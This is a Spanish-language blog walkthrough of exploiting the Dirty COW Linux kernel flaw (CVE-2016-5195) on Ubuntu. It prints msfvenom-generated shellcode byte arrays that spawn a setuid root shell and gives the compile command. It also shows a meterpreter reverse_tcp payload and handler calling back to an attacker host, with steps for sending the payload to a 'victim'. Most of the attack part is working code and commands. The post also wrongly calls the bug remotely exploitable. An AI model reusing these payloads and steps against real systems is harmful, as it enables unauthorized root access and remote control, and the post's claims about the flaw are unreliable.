domingo, 13 de noviembre de 2016

Dirty COW - CVE-2016-5195 explotando vulnerabilidad en el Kernel de Linux


hace aproximadamente un mes, la comunidad linuxera (incluyéndome) se entero de una noticia que simplemente no se podría creer, un fallo de hace 9 años nuevamente estaba presente exponiendo un gran agujero de seguridad en las versiones: Ubuntu 14.04 y Ubuntu 15.10.

las consecuencias que con lleva son catastróficas, permite al atacante obtener privilegios root de manera remota, exponiendo todo el sistema de la victima sin ninguna excepción.

el bug también afecta a todos los dispositivos android de la versión 7 para abajo.


Elevando privilegios de usuario a root en Ubuntu 15.10

Exploit:

https://www.exploit-db.com/exploits/40616/

Lo primero que debemos hacer ver la fuente del archivo en 40616.c, lo puede hacer en cualquier editor de texto, en mi caso lo abrí por Sublime Text, para que puedan ver lo principal. 


Vemos que el exploit esta generado en msfvenom quiere decir que es un payload.

Este exploit funciona de la siguiente manera, notaron que hay 2 payloads de 64 y 32 bits, por default el de 64bits esta sin comentarios cabe decir que funcionara solamente para esa arquitectura, ya que el de 32 bits esta comentado y no ejercerá ninguna función.


64bits

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;


32bits


/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/


En esta prueba de concepto, estoy exponiendo un sistema "UBUNTU 32BITS", cabe decir que eliminare el payload de 64 bits con todos sus atributos, para quedarme solamente con la arquitectura de 32bits:


ojo: también eh eliminado los comentarios del payloads de 32 bits.

luego de guárdalo pasaremos a compilar el archivo .c

root@kali:~# gcc 40616.c -o 40616 -pthread

Una ves compilado correctamente, podemos subirlo al servidor de la victima creo que no hay necesidad de pasar a ese proceso ya que existen muchas maneras de hacerlo, si no sabes te invito a buscar los artículos de metasploit framework, en el blog.

Ustedes pueden crear su payload en formato linux, ya que deben hacerlo para poder ejecutar formatos compilados con permisos.


Creando payload en linux 32bits

root@kali:~# msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.35 LPORT=8081 -f elf > /root/Desktop/shell.elf


Estableciendo conexión meterpreter 

msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.35
msf exploit(handler) > set LPORT 8081
msf exploit(handler) > exploit


Entonces le enviaremos nuestro payload a nuestra victima, en el momento que la victima ejecute tendremos su sesión meterpreter:


entramos a terminal y ejecutamos el "Exploit", vemos que se ejecuto correctamente, hemos escalado los privilegios root y por ende tenemos todos los permisos.


Siempre es bueno enseñar pruebas de todo, ejecutaremos el exploit en la misma maquina con un usuario llamado prueba:

./40616

El exploit funciono correctamente, esto fue todo estimados lectores espero les halla encantado este post.

Saludos y bendiciones.

0 comentarios:

Publicar un comentario

Datos del Autor

Estudiante de Ingeniería de computación y sistemas en Perú.
actualmente me estoy dedicando a dar ponencias sobre seguridad Informática.
Soy una persona sencilla y humilde que me encanta aprender nuevos temas en mis tiempos libres.

"Me considero un novato en busca de conocimiento"


Entradas Populares